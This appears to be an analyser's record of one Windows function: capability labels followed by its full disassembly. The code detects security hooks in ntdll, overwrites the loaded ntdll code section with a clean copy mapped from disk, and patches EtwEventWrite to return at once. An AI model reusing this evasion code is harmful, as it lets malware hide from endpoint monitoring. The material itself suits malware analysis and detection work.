Function at 0x1400016b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Patch event tracing for windows function
Read file via mapping
Resolve function by parsing pe exports

Disassembly:
push rdi
sub rsp, 0x140
mov rax, qword [0x140023008]
xor rax, rsp
mov qword [rsp + 0x138], rax
lea rcx, str.___Detecting_ntdll_hooking_n
call fcn.140001070
mov dword [rsp + 0x44], 0
lea rcx, [0x14001f768]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14001f750]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140001560
test eax, eax
je 0x140001720
lea rcx, str._t____NtAllocateVirtualMemory_is_Hooked_n
call fcn.140001070
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
jmp 0x14000172c
lea rcx, [0x14001f7a0]
call fcn.140001070
lea rcx, [0x14001f7e8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14001f7d0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140001560
test eax, eax
je 0x14000176d
lea rcx, str._t____NtProtectVirtualMemory_is_Hooked_n
call fcn.140001070
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
jmp 0x140001779
lea rcx, [0x14001f820]
call fcn.140001070
lea rcx, [0x14001f860]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14001f848]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140001560
test eax, eax
je 0x1400017ba
lea rcx, [0x14001f870]
call fcn.140001070
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
jmp 0x1400017c6
lea rcx, [0x14001f898]
call fcn.140001070
lea rcx, [0x14001f8e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14001f8c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140001560
test eax, eax
je 0x140001807
lea rcx, [0x14001f8f0]
call fcn.140001070
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
jmp 0x140001813
lea rcx, [0x14001f918]
call fcn.140001070
cmp dword [rsp + 0x44], 0
jle 0x140001cec
mov byte [rsp + 0x118], 0x43
mov byte [rsp + 0x119], 0x3a
mov byte [rsp + 0x11a], 0x5c
mov byte [rsp + 0x11b], 0x57
mov byte [rsp + 0x11c], 0x69
mov byte [rsp + 0x11d], 0x6e
mov byte [rsp + 0x11e], 0x64
mov byte [rsp + 0x11f], 0x6f
mov byte [rsp + 0x120], 0x77
mov byte [rsp + 0x121], 0x73
mov byte [rsp + 0x122], 0x5c
mov byte [rsp + 0x123], 0x53
mov byte [rsp + 0x124], 0x79
mov byte [rsp + 0x125], 0x73
mov byte [rsp + 0x126], 0x74
mov byte [rsp + 0x127], 0x65
mov byte [rsp + 0x128], 0x6d
mov byte [rsp + 0x129], 0x33
mov byte [rsp + 0x12a], 0x32
mov byte [rsp + 0x12b], 0x5c
mov byte [rsp + 0x12c], 0x6e
mov byte [rsp + 0x12d], 0x74
mov byte [rsp + 0x12e], 0x64
mov byte [rsp + 0x12f], 0x6c
mov byte [rsp + 0x130], 0x6c
mov byte [rsp + 0x131], 0x2e
mov byte [rsp + 0x132], 0x64
mov byte [rsp + 0x133], 0x6c
mov byte [rsp + 0x134], 0x6c
mov byte [rsp + 0x135], 0
mov byte [rsp + 0x110], 0x2e
mov byte [rsp + 0x111], 0x74
mov byte [rsp + 0x112], 0x65
mov byte [rsp + 0x113], 0x78
mov byte [rsp + 0x114], 0x74
mov byte [rsp + 0x115], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0xe0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [0x14001f948]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x80], rax
mov r9d, 0x18
lea r8, [rsp + 0xe0]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, [rsp + 0x118]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x1000002
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
xor eax, eax
mov word [rsp + 0x48], ax
jmp 0x140001a7e
movzx eax, word [rsp + 0x48]
inc ax
mov word [rsp + 0x48], ax
movzx eax, word [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140001bca
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rsp + 0x48]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
lea rdx, [rsp + 0x110]
mov rcx, rax
call fcn.140008ba0
test eax, eax
jne 0x140001bc5
mov dword [rsp + 0xfc], 0
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0xfc]
mov r8d, 0x40
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001b1c
mov byte [rsp + 0x40], 1
jmp 0x140001b21
mov byte [rsp + 0x40], 0
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x4c], al
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0xa8]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x50]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x58]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0xb0], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0xb0]
mov rcx, rax
call fcn.140004100
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0xfc]
mov r8d, dword [rsp + 0xfc]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001bb7
mov byte [rsp + 0x41], 1
jmp 0x140001bbc
mov byte [rsp + 0x41], 0
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x4c], al
jmp 0x140001a71
lea rcx, str._n___Detecting_hooks_in_new_ntdll_module_n
call fcn.140001070
lea rcx, [0x14001f9a0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14001f988]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140001560
test eax, eax
je 0x140001c0d
lea rcx, str._t____NtAllocateVirtualMemory_Hooked_n
call fcn.140001070
jmp 0x140001c19
lea rcx, str._t___NtAllocateVirtualMemory_Not_Hooked_n
call fcn.140001070
lea rcx, [0x14001fa20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14001fa08]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140001560
test eax, eax
je 0x140001c50
lea rcx, str._t____NtProtectVirtualMemory_Hooked_n
call fcn.140001070
jmp 0x140001c5c
lea rcx, str._t___NtProtectVirtualMemory_Not_Hooked_n
call fcn.140001070
lea rcx, [0x14001fa98]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14001fa80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140001560
test eax, eax
je 0x140001c9d
lea rcx, str._t____NtCreateThreadEx_is_Hooked_n
call fcn.140001070
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
jmp 0x140001ca9
lea rcx, str._t___NtCreateThreadEx_Not_Hooked_n
call fcn.140001070
lea rcx, [0x14001fb18]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14001faf8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140001560
test eax, eax
je 0x140001ce0
lea rcx, str._t____NtQueryInformationThread_Hooked_n
call fcn.140001070
jmp 0x140001cec
lea rcx, str._t___NtQueryInformationThread_Not_Hooked_n
call fcn.140001070
lea rcx, [0x14001fb80]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x60], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc0], rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb8], rax
lea rdx, str.NtProtectVirtualMemory
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc8], rax
lea rdx, str.NtQueryInformationThread
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd0], rax
lea rcx, str._n___Patching_ETW_writer_n
call fcn.140001070
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.EtwEventWrite
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov byte [rsp + 0xf8], 0xc3
mov dword [rsp + 0x100], 0
mov qword [rsp + 0x108], 0x1000
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xd8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x100]
mov qword [rsp + 0x20], rcx
mov r9d, 4
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xd8]
mov rcx, rax
call qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 1
lea r8, [rsp + 0xf8]
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x100]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rsp + 0x100]
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xd8]
mov rcx, rax
call qword [rsp + 0x78]
lea rcx, str.___ETW_patched___n
call fcn.140001070
xor eax, eax
mov rcx, qword [rsp + 0x138]
xor rcx, rsp
call fcn.140002ab0
add rsp, 0x140
pop rdi
ret